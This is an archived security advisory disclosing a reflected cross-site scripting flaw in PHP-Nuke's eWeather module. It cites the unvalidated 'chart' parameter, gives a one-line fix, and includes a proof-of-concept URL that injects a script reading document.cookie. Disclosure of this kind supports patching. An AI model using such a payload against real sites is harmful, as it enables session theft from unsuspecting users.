Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Web :: PHP :: bx2375.htm

PHP-Nuke (eWeather module) XSS



XSS in PHP-Nuke (eWeather module)
XSS in PHP-Nuke (eWeather module)



//////////XSS in PHP-Nuke (eWeather module)=0D
=0D
PHP-Nuke (http://phpnuke.org):=0D 
=0D
	PHP-Nuke is a news automated system specially designed to be used in=0D
Intranets and Internet. The Administrator has total control of his web site,=0D
registered users, and he will have in the hand a powerful assembly of tools=0D
to maintain an active and 100% interactive web site using databases.=0D
=0D
eWeather module (http://www.janitorialservice.us):=0D 
=0D
	Weather module based on eWeather.biz data with 3 additional blocks =0D
2 side and one center block.=0D
=0D
///Details=0D
=0D
>From source-code of /modules/eWeather/index.php=0D
=0D
Line 35: $zipCode=$chart;=0D
=0D
Line 47: echo "

USA weather for zip code $zipCode

";=0D =0D "chart" variable is unvalidated.=0D =0D ///Exploit=0D http://example.net/modules.php?name=eWeather&chart=[XSS]=0D http://example.net/modules.php?name=eWeather&chart=%3Cscript%3Ealert(document.cookie)%3C/script%3E=0D =0D ///Fix=0D Change line 35 to "$zipCode=(int)$chart;"=0D =0D ///Author:=0D NetJackal=0D =0D http://netjackal.by.ru =0D http://hackerz.ir


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH